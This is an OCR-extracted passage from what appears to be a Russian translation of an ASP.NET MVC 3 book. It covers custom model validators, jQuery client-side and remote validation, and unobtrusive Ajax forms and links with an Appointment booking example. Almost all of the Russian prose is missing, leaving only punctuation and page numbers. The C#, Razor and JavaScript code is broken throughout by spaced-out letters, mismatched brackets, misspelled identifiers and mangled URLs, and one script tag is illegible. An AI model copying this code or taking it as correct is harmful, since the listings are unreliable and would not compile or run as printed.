return new ModelValidator[] {
new AppointmentValidator(metadata, context)
};
}
return Enumerable.Empty<ModelValidator>() ;
)

GetValidation
.
ModelValidator. ModelValidator
.
GetVal i d a t i o n .
,
.
A p p o i n t m e n t
Appointment.

, ,
Mo d e l Metadata,
. M o d e l M e t a d a t a . 18.4.

18.4. M o d e lM e ta d a ta

ContainerType

-
, C o n t a i n e r T y p e ,
. ,
A p p o i n t m e n t . C l i e n t N a m e
C o n t a i n e r T y p e A p p o i n t m e n t

PropertyName

,
. ,
A p p o i n t m e n t . C l i e n t N a m e
P r o p e r t y N a m e Cl i e n t N a m e

ModelType

526

II. ASP.NET MVC 3

. ,
.

I V a l i d a t a b l e O b j e c t ,
.
, , ,

.

18.17 ModelValidator
.
18.17.
public class AppointmentPropertyValidator : ModelValidator {
public AppointmentPropertyValidator (ModelMetadata metadata,
ControllerContext context) : base(metadata, context) {

)
public override IEnumerable<ModelValidationResult> Validate(object container)

(
Appointment appt = container as Appointment;
if (appt != null) {
switch (Metadata.PropertyName) {
case "ClientName":
if (string.IsNullOrEmpty(appt.ClientName)) {
return new ModelValidationResult [] {
new ModelValidationResult {
MemberName = "ClientName",
Message = "Please enter your name"

H;
}
break;
case "Date :
if (appt.Date == null || DateTime.Now > appt.Date)
return new ModelValidationResult[] {
new ModelValidationResult {

MemberName = " D a t e " ,


Message = "P le a s e

enter

a date

in

the

future"

} };
)
break;
case "TermsAccepted":
if (!a p p t .TermsAccepted) {
return new ModelValidationResult[] {
new ModelValidationResult {
MemberName = " T e r m s A c c e p t e d " ,

Message = "You must accept the terms"

}} ;
}
break;

)
}
return Enumerable.Empty<ModelValidationResult>();

}
}_______________________________________________________________ _____________________________

18.

527

ModelMetadata, ,
, AppointmentPropertyValidator
. Validate
Metadata.PropertyName
. ,
ModelValidationResult.
,
Appointment, .
.
18.18.
18.18.
public class AppointmentValidator : ModelValidator {
public AppointmentValidator(ModelMetadata metadata, ControllerContext context)
: base(metadata, context) {

}
public override void Validate(Appointment container,
IList<ModelV>
a lidationResult> errors) (
A p p o i n t m e n t appt = (Appointment)Metadata.Model;

if (appt.ClientName == "Joe" && a p p t .Date.DayOfWeek == DayOfWeek.Monday) (


errors.Add(new ModelValidationResult {
MemberName =

Message = "Joe cannot book appointments on Mondays"

}) ;
)
)
}
,
container null. Metadata.Model

, .
MemberName ModelValidationResult
("").
. MVC Framework ,
.
,
.



MVC Framework, Application_Start Global.asax.
18.19 ,
Appointment.

18.19.
p r ot e c t e d v o i d Application__Start () {
A r e a R e g i s t r a t i o n .R e g i s t e r A l l A r e a s ();

528

II. ASP.NET MVC 3

ModelValidatorProviders.Providers.Add(new CustomValidationProvider ( ) ) ;
RegisterGlobalFilters(GlobalFilters.Filters) ;
RegisterRoutes(RouteTable.Routes);
)

ModelValidatorProviders.Providers.Add
.
, ,
, , .
,
Clear:
M o d e l V a l i d a t o r P r o v i d e r s .P r o v i d e r s .C l e a r () ;




. ,
, (
, , ).
-
- .
JavaScript.

, '
MVC Framework
. " ,
, HTML. JavaScript, MVC
Framework,
jQ u eiy Validation, .
. jQuery Validation MVC 3,

JavaScript-, Microsoft.
, - MVC Framework,
.

JavaScript .
.
, JavaScript, ,
HTML-, ,
, HTML-
.
,
. ,
JavaScript,
,
. , JavaScript , -

18.

529

,
-, .

.
20.
,
,
.
.
.
MVC Framework .
MVC 3
, ( ,
).




W eb.config, 18.20.

18.20.
<co n f i g u r a t i o n >

<appSettings>
<add key="ClientValidationEnabled" value="true"/>
<add key="UnobtrusiveJavaScriptEnabled" value="true"/>

</appS ettings>

,
tru e. MVC 3 Visual Studio
tru e .
G l o b a l . a s a x (. 18.21).

18.21.
p ro te c te d v o id A p p lica tio n __S ta rt () {
A r e a R e g is t r a t io n .R e g is te r A llA r e a s ( ) ;
HtmlHelper.ClientValidationEnabled = true;
HtmlHelper.UnobtrusiveJavaScriptEnabled = true;

R e g is t e r G lo b a lF ilt e r s (G lo b a lF ilt e r s . F i l t e r s ) ;
R e g i s t e r R o u t e s ( R o u t e T a b l e .R o u t e s ) ;

)

.
. 18.22 , Razor
.

530

II. ASP.NET 3

18.22.

Smodel M vc A p p .Models.Appointment

@{
V iewBag.Title = "Make A Booking";

H tm lH elper.C lie n tV a lid a tio n E n a b le d = f a l s e ;


}


t r u e , ,
f a l s e .
JavaScript, 18.23.

18.23. JavaScript,

<!DOCTYPE html>
<html>
*
<head>
<title>@ViewBag.Title</title>
<link href="@Url.Content("~/Content/Site.css")" rel="stylesheet"
type="text/css" />
<script src="@Url.Con t e n t ("-/Scripts/jquery-1.5.1.m i n .js")"
type=" text/javascript " X / script>

s.tQ.="<yiL . Q . e s t f e a o . t V ~ - . v a l i d a t e . - . w i n , 35 ." \"


type= "text/javascript " X / s c r i p t >

< s c r ip t s rc " @Url.C on ten t( " -/ S c rip ts / jq u e r y .v a l i d a t e .u n o b tru siv e.min. j s " ) "
type= "text/javascript " x / s c r i p t >
</head>
<body>
SRenderBody()
</body>
</html>

,
,
, 18.23.
! jQuery . ,

, .

JavaScript-. ,
m i n . j s , ;
,
.
,
, .
, ( )
JavaScript, - .

18.

531

CDN JavaScript
18.23 jQuery,
-/Scripts .
Microsoft Ajax Content Delivery Network (CDN). ,
Microsoft; ,
MVC JavaScript, ,
.
CDN . ,
, , CDN
, . ,

, CDN.
,
. jQuery
MVC, Microsoft
.
CDN, src script
URL:
ht t p ://j .aspnetcdn.com/aj/j Query/j query-1 .5.1.min.j s
ht t p ://aj a x .aspnetcdn.cora/ajax/j query.validate/1.7/jq u e r y .validate.m i n .j s
ht t p ://ajax.aspnetcdn.com/ajax/mvc/3.0/jquery.validate.unobtrusive.min.js
, , script, jQuery,
:
<script src="h t t p ://j .aspnetcdn./aj/jQuery/jquery-1.5.1.min.jS"
type="text/j avascript"X / script>
CDN jQuery,
URL. (
URL) w w w . a s p . n e t / a j a x l i b r a r y / c d n . a s h x .
CDN -,
, , CDN . ,
JavaScript- .



j Query
.
, ,
R e q u i r e d , R a n g e S t r i n g L e n g t h . 18.24
Appointment .

18.24. ,
A p p o in tm e n t
public class Appointment

[Required]
[StringLength (10, MinimumLength=3)]
public string ClientName

{ get;

set;

532

II. ASP.NET MVC 3

[DataType(DataType.Date)]
[Required(ErrorMessage="Please enter a date'')]
public DateTime Date ( get; set; }
public bool TermsAccepted { get; set; }

)

.
,
, M akingBooking
(. 18.25).

18.25. HTML-
@model MvcApp.Models.Appointment

e<
ViewBag.Title = "Make A Booking";

}
<h4>Book an Appointment</h4>
@using (Html.B eginForm()) (
0Html.ValidationSummary()
<p>Your name: SHtml.EditorFor(m => m.ClientName)
@Html.ValidationMessageFor(m => m.ClientName)</p>
< p > A p p o in tm e n t

D ate :

@ H tm l. E d i t o r F o r ( m

=> m .D a te )

@ H t m l . V a l i d a t i o n M e s s a g e F o r (m = > m . D a t e ) < / p >

<p>@Html.EditorFor(m => m.TermsAccepted) I accept the terms & conditions


@Html.ValidationMessageFor(m => m.TermsAccepted)</p>
< in p u t

ty p e= "su b m it"

v a lu e = "M a k e

B o o k in g "

/>

}
, MakeBooking
, M a k e B o o k i n g . csh tm l .. , .
,
Appointment, JavaScript,
. 18.10.

. 1 8 .1 0 .

18.

533

,
,
. ,
,
.
: ,
, ,
HTML-.
J ClientName, Required,
Appointment.
StringLength,
(. 18.11).

. 1 8 .1 1 .

. ,
;
. ,
.
. , ,

Html.ValidationSummary, ,
Make Booking ( ) .
, ,
.

, Joe
, ClientName Appointment.
.
, ,
. 18.12.
, ,
,
. ,
.
,
POST, .

534

II. ASP.NET 3

. 1 8 .1 2 .
ClientName
. ,
. 18.13.

. 18.13.

, , ,
. ,
; , ,
.


MVC
Framework - JavaScript

H T M L. H T M L -,
Html.EditorFor ClientName,
:
<input class="text-box single-line" id=ClientName" name="ClientName"
type="text" value="" />

18.

535

HTML-
:
<input c l a s s = " t e x t - b o x s i n g l e - l i n e " data-val="true" data-val-length="The
field ClientName must be a string with a minimum length of 3 and a
maximum length of 10." data-val-length-max="10" data-val-length-min="3"
data-val-required="The ClientName field is required."
id = " C lie n tN a m e " nam e="ClientN am e" ty p e = " t e x t" v a lu e = " " />
MVC Framework
JavaScript JSON
; MVC Framework, .
d a t a - v a l . jQ uery Validation
, ,
.


d ata-val-< H M .s> , , .
, , R e q u ir e d , ,
d a t a - v a l - r e q u i r e d HTML-. ,
, , .
; ,
d a t a - v a l- le n g t h - m in d a t a - v a l- le n g t h - m a x ,
.
, ,
jQuery Validation,
MVC.
MVC

. , , ,
JavaScript, ,
, JavaScript;
.

MVC
jQuery Validation
MVC
jQuery Validation, ,
MVC. jQuery Validation ; ,
MVC
. jQuery
Validation JavaScript.
, .

$ ( d o c u m e n t ) .r e a d y ( f u n c t i o n () {
.v a l i d a t e ( {
e r r o r L a b e l C o n t a i n e r : '# v a l i d t i o n S u m m a r y ',
w r a p p e r : 'l i ',
rules: {
C l i e n tName: {
required: true,
}
>,

S ( ' form' )

536

II. ASP.NET MVC 3


messages: {
ClientName: "Please enter your name"

}
));
});
MVC JavaScript,
.
MVC ,
,
. jQuery
Validation http://basslstance.de/jquery-plugins.


,
, . 18.3 .
j Query Validation
, , MVC
.

HTML-

, 18.26.

18.26. HTML-
@model Mvc A p p .Models.Appointment

@{
ViewBag.Title = "Make A Booking";

}
<h4>Book an Appointment</h4>
@using (Html.BeginForm ()) {
@Html.ValidationSummary()
<p>Your n a m e :

@Html. TextBoxFor (m => m. ClientNam e, new { d a ta _ v a l = " t r u e " ,


d a ta _ v a l_ e m a il = "E n ter a v a l i d em ail a d d ress",
d a ta _ v a l_ re q u ire d = "P le a s e e n te r your nam e"})
SHtml.ValidationMessageFor (m => m. ClientName)</p>
<p>Appointment Date: @Html.EditorFor(m => m .Date)
SHtml.ValidationMessageFor (m => m.Date)</p>
<p>0Html.EditorFor(m => m .TermsAccepted) I accept the terms & conditions
@Html.ValidationMessageFor (m => m.TermsAccepted)</p>
<input type-"submit" value="Make Booking" />

}
,

, H t m l . T e x t B o x F o r ,
, , HTML.

18.

537

. HTML- (-), C#

.
(_ ), HTML-
.
H T M L -
ClientName:
cinput d a t a - v a l = " t r u e " data-va l - e m a i l = " E n t e r a va l i d email address"
d a t a - v a l - r e q u i r e d = " P l e a s e enter your name" id="ClientName"
n a m e = " C l i e n t N a m e " type="text" value="" />

r e q u i r e d Requ i r e d .
e m a i l

. . 18.5.

18.5. jQuery

Required

Required

;
R e q u i r e d

Length

StringLength


/ .

data-val-length-min,
data-val-length-max.

,
- min - m a x

Range

Range

,
d a t a - v a l - r e q u i r e d - m i n
data-val-required-max.

Regex

RegularExpression

"

,
data-val-regexp-pattern
Equalto

Compare

,
,
data-val-equalto-other

Email

Url

URL

Date

Number

(
)

Digits

Creditcard

538

II. ASP.NET 3

,
#, , ,
. , creditcard ,

(Luhn): , ,
,
.
, em a i l url
URL,
-. ,
, .

,

HTML- ,
, .
,
,
,
.
18.27 ,
.

18.27. ,

public class EmailAddressAttribute ; ValidationAttribute {
p r i v a t e static r e a donly R egex emailRegex = new R e g e x (".+ @ .+ \ \ ..+") ;

public EmailAddressAttribute () (
E r r o r M e s s a g e = "Enter a valid email address";

}
public override bool IsValid(object value) (
return !string.IsNullOrEmpty((string)value) &&
emailRegex.IsMatch((string)value);
}


, ;
ValidationAttribute IsValid
.
! ,

.
.

,
IClientValidatable, 18.28.

18.

539

18.28. I C l i e n t V a l i d a t a b l e
public interface IClientValidatable {
IEnumerable<ModelClientValidationRule>
GetClientValidationRules(ModelMetadata metadata, ControllerContext context);
}

GetClientValidationRules,
ModelClientValidationRule.
ModelClientValidationRule
, , ,
, ,
. 18.29 ,
EmailAddressAttribute 18.27.

18.29. E m a ilA d d r e s s A t t r ib u t e
public class EmailAddressAttribute : ValidationAttribute, IClientValidatable
{
private static readonly Regex emailRegex = new R e g e x (".+ @ .+ \ \ ..+") ;

public EmailAddressAttribute () {
ErrorMessage = "Enter a valid email address";
)
public override bool IsValid(object value) {
return !string.IsNullOrEmpty((string)value) &&
emailRegex.IsMatch((string)value);
)
public IEnumerable<ModelClientValidationRule> GetClientValidationRules(
ModelMetadata metadata, ControllerContext context) {
return new List<ModelClientValidationRule> {
new ModelClientValidationRule {
ValidationType = "email",
ErrorMessage = this.ErrorMessage
},
new ModelClientValidationRule {
ValidationType = "required",
E rrorM essage

= t h i s .E rro rM essa ge

}
};
}

ModelClientValidationRule,
.
, email required (
ValidationType ModelClientValidationRule),
(
ErrorMessage).

540

II. ASP.NET MVC 3

public class Appointment {


[EmailAddress]
public string ClientName { get; set; }

ClientNam e ,
, IC lie n tV a lid a t a b le
HTML-, .
Is V a lid .
,
, , HTML-.



,
. 18.5, , . ,
JavaScript, .
MVC
jQuery. ,
, -
, MVC
jQuery. ,
, .
,
, , ,
.
, jQuery- r e q u ir e d ,
18.30.
1 8 .3 0 .

MVC jQuery
<!DOCTYPE html>
<html>
<head>

< title > 0 V ie w B a g . T i t l e < / t i t l e >


<link h ref="@Url.Content ("~/Content/Site.css")"
rel="stylesheet" type="text/css" />
<script src="h t t p ://aj a x .aspnetcdn.com/ajax/jQuery/jquery-1.5.1.min.js"
type="text/javascript"></script>
<script src="http://ajax.aspnetcdn.com/aj ax/jquery.validate/ 1 .7/j que r y .
validate.min.j s " type="text/javascript"></script>

< s c r ip t s r c = "h t t p : / / a ja x . aspnetcdn. com/ajax/mvc/3. 0/j q u e r y . v a l i d a t e .


unobtrusive.js" type="text/javascript"></script>
<script type="text/javascript">

jQ u ery.v a lid a to r.u n o b tru siv e.a d a p ters ,a d d ("ch eck b o x tru e", fu n ction (options
<
if (options.ele m e n t .tagName.toUpperCase() == "INPUT" &&
options.element.typ e .toUpperCase() == "CHECKBOX") {
o ptions.r u l e s ["required"] = true;
if (options.message) {
options.messages["required"] = options.message;
}
}
});

18.

541

</script>

< / h ead>
<body>
S R e n d e r B o d y ()
< / b ody>
< / h tml>
c h e c k b o x t r u e ,
, r e q u i r e d jQuery
Validation. (_ L a y o u t .c s h t m l) .
.
! ,

jQuery Validation MVC Framework


. ,
18.30, ,
jQ u e r y .v a l i d a t e .u n o b t r u s i v e . j s .


, . ,
,
. 18.31
c h e c k b o x t r u e 18.30.

18.31.
M u s t B e T r u e A t t r ib u t e
p u b lic

c la s s

M u s tB e T ru e A ttrib u te

; V a lid a t io n A t t r ib u t e , I C lie n t V a lid a t a b le

p u b l i c o v e r r i d e b o o l I s V a l i d ( o b j e c t value)
re t u r n v a l u e is bo o l && (bool)value;
)

public IEnumerable<ModelClientValidationRule> GetClientValidationRules(


ModelMetadata metadata, ControllerContext context) {
return new ModelClientValidationRule[] {
new ModelClientValidationRule {
ValidationType = "checkboxtrue",

ErrorMessage = th is.E rrorM essage


}};
}
}
M u stB e T ru e b o o l
.
.


()
. ,
.

542

II. ASP.NET MVC 3

,
, ;

. Ajax
. ,
, .
,
. -,
;
- ,
. -,
, . ,
,
. -, .

. ,
.
, :
,
,
, .
. Ajax JSON MVC Framework 19.


, .
Date Appointment,
(
, ). 18.32 V alid a teD a te.
AppointmentController.

18.32.
public class AppointmentController : Controller {
private lAppointmentRepository repository;
public AppointmentController(lAppointmentRepository repo)
repository = repo;
}
public ViewResult MakeBooking () {
return View(new Appointment { Date = DateTime.Now }) ;
}
public JsonResult ValidateDate(string Date) {
DateTime parsedDate;

if (!Date T i m e .TryParse(Date, out parsedDate)) {


return Json("Please enter a valid date (iran/dd/yyyy)",
JsonRequestBehavior.AllowGet);
} else if (DateTime.Now > parsedDate) {
return Json("Please enter a date in the future",
JsonRequestBehavior.AllowGet);
) else {
return Json(true, JsonRequestBehavior.AllowGet);
}
}

18.
[HttpPost]
public ViewResult MakeBooking(Appointment appt)

543

if (ModelState.IsValid) {
repository.SaveAppointment(appt) ;
return V i e w ("Completed", appt);
) else {
r e t u r n V i e w {.) ;

)
)
)

, ,
JsonResult,
; Date. ,
DateTime , ,
, .

. ,
DateTime, ,
apple, . ,
DateTime apple
.
, .
, ,
. ,
string
, .
J s o n ,

JSON,
.
, Json
true;
return J s o n (true, JsonRequestBehavior.AllowGet );

,
, :
return Jso n ("Please enter a date in the future", JsonRequestBehavior.AllowGet) ;


JsonRequestBehavior.AllowGet. , MVC Framework
GET, JSON,

.
,
.

! ,
, .
, .
,

.

544

II. ASP.NET MVC 3

,
, (,
-).


, ,
, .
.


.

1 9

Ajax
jax ( AJAX) 'Asynchronous
JavaScript and X M U ( JavaScript XML). , X M L
Ajax, ;
, -.
Ajax,
18, ,
.

Ajax MVC
M V C Framework Ajax. , 18
, JavaScript-KOfla
H T M L -. ,
Ajax M V C JavaScript- jQ u e ry ,
20.


Ajax ,
. ,
Visual Studio Empty () ASP.NET MVC 3
Web A pp lication MvcApp.
Appointment, 19.1.

19.1. A p p o in tm e n t
public class Appointment {
public string ClientName { get; set; }
[DataType(DataType.Date)]
public DateTime Date { get; set; }
public bool TermsAccepted { get; set; )
1
, ,
.
AppointmentController, 19.2.

18 . 4039

546

II. ASP.NET MVC 3

1 9 .2 . A p p o i n t m e n t C o n t r o l l e r
p u b lic c l a s s A pp oin tm e ntCo n troller : C o n t r o lle r {
p u b l i c A c t i o n R e s u l t I n d e x ()
return V iew ();

)
[H t tp P o s t]
p u b l i c A c t i o n R e s u l t I n d e x ( s t r i n g id ) {
return V iew ("Ind ex", ( o b je c t ) id ) ;

)
p u b l i c V i e w R e s u l t A pp oin tm e ntD a ta ( s t r i n g
IEn um erable <Appointm ent> d a t a = new[] (
new App ointm ent { C lie n tN a m e = " J o e " ,
new App ointm ent ( C lie n tN a m e = " J o e " ,
new App ointm ent { C lie n tN a m e = " J o e " ,
new Appointm ent ( Clien tN am e = " J a n e " ,
new App ointm ent ( C lien tN am e = " J a n e " ,
new Appointm ent ( C lie n tN a m e = "Bob",
new Appointm ent { C lie n tN a m e = "Bob",

id)

D ate
D ate
Date
Date
Date
Date
Date

=
=
=
=
=
=
=

D a t e T im e . P a r s e ( " 1 / 1 / 2 0 1 2 " ) },
D a t e T i m e . P a r s e ( " 2 / 1 / 2 0 1 2 " ) ),
D a t e T im e . P a r s e ( " 3 / 1 / 2 0 1 2 " ) ),
D a t e T im e . P a r s e ( " 1 / 2 0 / 2 0 1 2 " ) ) ,
D a t e T im e . P a r s e ("1 /2 2 /2 0 1 2 " ) },
D a t e T im e . P a r s e ( " 2 / 2 5 / 2 0 1 2 " ) } ,
D a te T im e .P a rse ("2 /2 5 /2 0 1 3 "))

};
if

( ! s t r i n g . I s N u l l O r E m p t y ( i d ) && i d != " A l l " ) {


d a t a = d a t a .W h e r e ( e => e . C l i e n t N a m e == i d ) ;

1
retu rn V iew (d a ta );

}
}
I n d e x I n d e x , c s h t m l , 19.3.

19.3. I n d e x .c s h t m l
Smodel s t r i n g

@{
V ie w B a g . T i t l e = " I n d e x " ;

)
<h4>Appointment L i s t < / h 4 >
S u s in g (H t m l. B e g i n F o r m () )

< ta b le>
<thead>
< th > C lie n t

N am e</th>

< th > A p p o in tm e n t

D a te< / th >

</th ead>

<tbody id="tabledata">
@ H tm l.A c tio n ( "A p p o in tm e n tD a ta ",

new

id

= M odel

))

< /tbod y>

< / t a b le >
<p>
S H tm l. D ro p D o w n L is t( " i d " ,

new []
< in p u t

</p>
)

{ " A ll",

"Joe",

t y p e " s u b m i t "

new S e l e c t L i s t (

"Jane",

v a lu e

"Bob" } ,

= "S u b m it"

/>

(Model ? ? " A l l " ) ) )

19. Ajax

547

Index HTML- ,
.
Index, ,
, .
().
, , ,

Appointment.
Appointm entData,
Appointment , i d ,
LINQ , ,
. Appointm entData . cshtm l
19.4.
1 9 .4 . A p p o i n t m e n t D a t a . c s h t m l
@model IEnumerable<MvcApp.Models.Appointment>

0{
Layout - null;

}
gforeach (Appointment appt in Model)
<tr>

<td>0Html. D isplayFor(m => a p p t. ClientNam e)</td>


<td>0Html. D isplayFor(m => a p p t. Date) </td>
</tr>

}
Appointment
C lie n tN a m e D ate (
TermsAccepted ). ,
Appointment, . 19.1.
Ajax,
JavaScript-. ,
Submit (), .
,
. .

. 19 .1. - Ajax

548

II. ASP.NET MVC 3

Ajax
Ajax
. ,
true UnobtrusiveJavaScriptEnabled Web.config,
19.5.

19.5. JavaScript W e b .c o n fig


<configuration>
<appSettings>
<add key="ClientValidationEnabled" value="true"/>
O d d key="UnobtrusiveJavaScriptEnabled" value="true"/>
</appSettings>

,
G l o b a l .asax ( .
18).
*
UnobtrusiveJavaScriptEnabled.

,
JavaScript , Ajax.
script,
19.6.

19.6. s c r ip t
JavaScript
<!DOCTYPE html>
<html>
<head>
<title>@ViewBag.Title</title>
<link href="@Url.Cont e n t ("~/Content/Site.css")"
rel="stylesheet" type="text/css" />

< s c r ip t s r c = "@ U rl.C o n te n t("~ / S c rip ts / jq u e ry -1 .5 .1 . m i n . j s " ) "


ty p e = " t e x t / j a v a s c r ip t " X /s c r ip t>
<script src="@Url.Cont e n t ("-/Scripts/jquery.unobtrusive-ajax.js")"
type= "text/javascript " X / s c r i p t >
</head>
<body>
SRenderBody()
</body>
</html>

JavaScript- j query-1. 5 .1. min .j s (


jQuery) j q u e r y .unobtru s i v e - a j a x .js ( jQ u eiy MVC.
Ajax).

. Microsoft CDN JavaScript; CDN


CDN JavaScript 18.

19. Ajax

549

Ajax
Ajax HTML-.
Ajax
.
Ajax .
AjaxOptions, Ajax.
Html .BeginForm A ja x .BeginForm,
19.7.

19.7. HTML- Ajax


@model string
@{
ViewBag.Title = "Index";
AjaxOptions ajaxOpts = new AjaxOptions {
UpdateTargetld = "tabledata"
};
)
<h4>Appointment List</h4>
(Ajax.BeginForm("AppointmentData", ajaxOpts))
<table>

Susing

<thead>
< t h > C l i e n t N ame</th>

<th>Appointment Dates</th>
< / thead>

<tbody id="tabledata">
@Html.Action("AppointmentData", new { id = Model })
< /tbody>

</table>
<P>
SHtml.DropDownList ("id", new SelectList(
new [j ( "All", "Joe", "Jane", "Bob" }, (Model ?? "All")))
<input type="submit" value = "Submit" />
</p>
}
AjaxOptions ,
, .
. 19.1.
UpdateTargetld tabledata.
HTML- tbody.
, AppointmentData,
. .

. AjaxOptions ,
.
Ajax".

A jax.B egin F orm


, ,
AjaxOptions .

550

II. ASP.NET MVC 3

19.1. A ja x O p tio n s

Confirm

,
, Ajax

HttpMethod

HTTP,
: Get Post

InsertionMode

, , ,
HTML.
InsertionMode: InsertAfter, InsertBefore
Replace ( )

LoadingElementld

HTML-,
Ajax

LoadingElementDuration

,
, LoadingElementld

UpdateTargetld

HTML-,
,

Url

URL,

Ajax HTML-.
Submit
AppointmentData.
Appointment , HTML-
. HTML- ,
tbody
.

Ajax
Ajax MVC Framework
, 18. ,
Aj axOptions, HTML-,
Ajax. , ,
form, Aj .BeginForm 19.7:
<form tion="/Appointment/AppointmentData" d a t a - a j a x = " t r - u e "
d a t a - a j a x -m o d e = " re p la c e "
d a t a - a ja x - u p d a t e = " # t a b le d a t a " id="formO" mettiod=post">

JavaScript jquery. unobtrusive-ajax. js HTML


DOM Ajax-, ,
data-a j true. , data-a j
, AjaxOptions.
jQueiy,
Ajax .
, MVC Ajax
. j Query,
JavaScript JavaScript-
. MVC Framework
,
Ajax.

19. Ajax

551

Ajax
Ajax MVC Framework .
HTML JavaScript JSON, ,
Ajax. Ajax, Web.config
U nobtrusive J a v a S c r i p t E n a b l e d false,
Ajax . , form,
, 19.7 Ajax:
<form action="/Appointment/AppointmentData" id="formO" method="post"
onclick="Sys.Mvc.AsyncForm.handleClick(this, new Sys.Ul.DomEvent(event));"
onsubmit="Sys.Mvc.AsyncForm.handleSubmit(this, new S y s .U l .DomEvent(event), (
insertionMode: Sys.Mvc.InsertionMode.replace, UpdateTargetld:
&#39;tabledata&#39; });">
, HTML- :
<script type="text/j avascript">
//< ! [D A T A [
if (!window.wvcClientValidationMetadata) { window.mvcClientValidationMetadata = []; )
window.mvcClientValidationMetadata.p u s h ({
"Fields":[] , "Formld":"formO","ReplaceValidationSummary":false});

//] ] >
</script>
,
M i c r o s o f t A j . j s M ic r o s o f t M v c A j a x . j s - / S c r i p t s ,
Microsoft CDN. , MVC Framework Ajax,
8 , HTML- .

Ajax
Ajax ,
AjaxOptions, Ajax.BeginForm.


Ajax 19.7
, .
AppointmentData, HTML.
,
JavaScript ( ). ,
, HTML-
, .
. 19.2.
AjaxOptions .Url,
URL , 19.8.

552

II. ASP.NET 3

. 19 .2. Ajax. B e g i n F o r m
JavaScript
1 9 .8 . A j a x O p t i o n s . U r l

Smodel string
0{
ViewBag.Title = "Index";
AjaxOptions ajaxOpts = new AjaxOptions {
UpdateTargetld = "tabledata",
Url = Url.Action("AppointmentData")

};

1
< h 4 > A p p o i n t m e n t List</h4>

0using (Ajax.BeginForm(ajaxOpts)) (
<table>
<thead>
<th>Client Name</th>
<th>Appointment Dates</th>
</thead>
<tbody id="tabledata">
SHtml.Action("AppointmentData", new { id = Model })
</tbody>
</table>
<p>

0Html.DropDownList("id", new SelectList(


new [] { "All", "Joe", "Jane", "Bob" }, (Model ?? "All")))
<input type="submit" value = "Submit" />

</p>

}
Url.Action, URL,
AppointmentData, A j a x .BeginForm,
AjaxOptions. ,
,
Index.

19. Ajax

553

JavaScript, U RL,
AjaxOptions .Url, .
H T M L - .
JavaScript Index POST
H T M L -.


Ajax
, ,
- . A j a x O p t i o n s .
LoadingElementld, 19.9.

19.9.
L o a d in g E le m e n tld
Gmodel string
@{
V iewBag.Title = "Index";
AjaxOptions ajaxOpts = new AjaxOptions {
UpdateTargetld = "tabledata",
Url = Url .Action("AppointmentData"),
LoadingElementld = "loading",
LoadingElementDuration = 2000,
);
)

<h4>Appointment List</h4>
<div id="loading" style="display:non e ; color:Red; fsnt-weight: bold">
<p>Loading D a t a ...</p>
</div>
@using (Ajax.BeginForm(ajaxOpts)) (
<table>
<thead>
<th>Client Name</th>
<th>Appointment Dates</th>
</thead>
<tbody id="tabledata">
SHtml.A c t i o n ("AppointmentData", new { id = Model })
</tbody>
</table>
<p>
SHtml.DropDownList ("id" , new SelectList (
new [] { "All", "Joe", "Jane", "Bob" ), (Model ?? "All")))
Cinput type="submit" value = "Submit" />
</p>
}
Aj axOptions .LoadingE l e m e n t l d id
HTML-,
. div,
C S S - d i s p l a y :none. . 19.3.

554

II. ASP.NET 3

. 19.3. Ajax
AjaxOptions .LoadingElementDuration
,
. Ajax , ,
LoadingElementld, .


AjaxOptions .Confirm
.
. 19.10.

19.10.
model

s tr in g

@{
ViewBag.Title = "Index";
AjaxOptions ajaxOpts = new AjaxOptions {
UpdateTargetld = "tabledata",
Url = U rl.Action("AppointmentData"),
LoadingElementld = "loading",
LoadingElementDuration = 20000,
Confirm = "Do you wish to request new data?"
};

,
. 19.4. ,
,
.
, ,
.

19. Ajax

555

. 1 9 .4 .

Ajax-
A j a x Ajax,
. , (),
. I n d e x . c s h t m l ,
19.11.

19.11. Ajax-
Smodel string

@{
V iew B ag.T i t l e
A jaxO ptions

"In dex";

ajaxOpts

U pdateTargetld

= new A j a x O p t i o n s

"tabledata",

Url = Url.Action("AppointmentData"),
LoadingElementld = "loading"

};

<h4>Appointment List</h4>
<div id="loading" style="display:none; color:Red; font-weight: bold">
<p>Loading Dat a . .,</p>
</div>
0using (Ajax.BeginForm(ajaxOpts)) (
<table>
<thead>
< th > C lien t

Nam e</th>

<th>A ppointm ent

D ates</th >

< /th ead>

<tbody id="tabledata">
@Html.Action("AppointmentData", new { id = Model ))
</tbody>
< /table>
<p>
@Html. D ro pD ow n List ( " i d " ,
new [ ]

"A ll",

"Joe",

new S e l e c t L i s t (
"Jane",

"Bob"

},

(Model

??

"A ll")))

<input type="submit" value = "Submit" />


</p>

)
@foreach (string str in new[] { "All", "Joe", "Jane", "Bob" }) {
<div style="margin-right:5px; float:left">
@Ajax.ActionLink(str, "AppointmentData", new { id = str },
new AjaxOptions {
UpdateTargetld = "tabledata",
LoadingElementld = "loading",

})
</div>

556

II. ASP.NET MVC 3

foreach div ,
.
Ajax Aj . ActionLink. H T M L ,
, :
<div style="margin-right:5; float:left">
< data-ajax="true" data-ajax-ioading="#loading" data-ajax-raode="repiace"
data-aj ax-update="#tabledata" href="/Appointment/AppointmentData/Bob">
Bob</a>
</ d iv>

H T M L . Ajax
,
Ajax M V C Framework, jQueiy.
. AjaxOptions,
foreach. , .

, . 19.5.

. 19.5. Ajax-
,
Submit.
AjaxOptions, . 19.1:
,
.


Ajax- , .
JavaScript, H T M L -,
AppointmentData.
. Aj axOptions .Url U R L Ajax
Index Ajax .ActionLink,
19.12.

19. Ajax

557

19.12. Ajax-
Sforeach (string str in new[] { "All", "Joe", "Jane", "Bob" }) (
<div style="margin-right:5px; float:left">
0Ajax.ActionLink(str, "Index", new ( id = str },
new AjaxOptions (
UpdateTargetld = "tabledata",

LoadingElementld = "loading,
Url = Url .Action ("AppointmentData", new { id = str })
})
</div>
}

, . , Ajax H T M L -,
input, .
, . JavaScript
, , GET,
Index .
. 19.13
, Index.

19.13.
Ajax-
public class AppointmentController : Controller (
//public ActionResult I n d e x () (
//
return V i e w () ;
//}
//[HttpPost]
public ActionResult Index(string id) {
return V i e w ("Index", (object)id);
}
public ViewResult AppointmentData(string id)
IEnumerable<Appointment> data = n e w [] {
new Appointment { ClientName = "Joe", Date
new Appointment { ClientName = "Joe", Date
new Appointment { ClientName = "Joe", Date
new Appointment { ClientName = "Jane", Date
new Appointment { ClientName = "Jane", Date
new Appointment { ClientName = "Bob", Date
new Appointment ( ClientName = "Bob", Date
};

{
=
=
=
=
=
=

DateTime.Parse ("1/1/2012") J,
DateTime.Parse("2/1/2012")},
DateTime.P a r s e ("3/1/2012") ),
DateTime.Par s e ("1/20/2012")},
DateTime.Parse("1/22/2012")},
DateTime.Parse ("2/25/2012")},
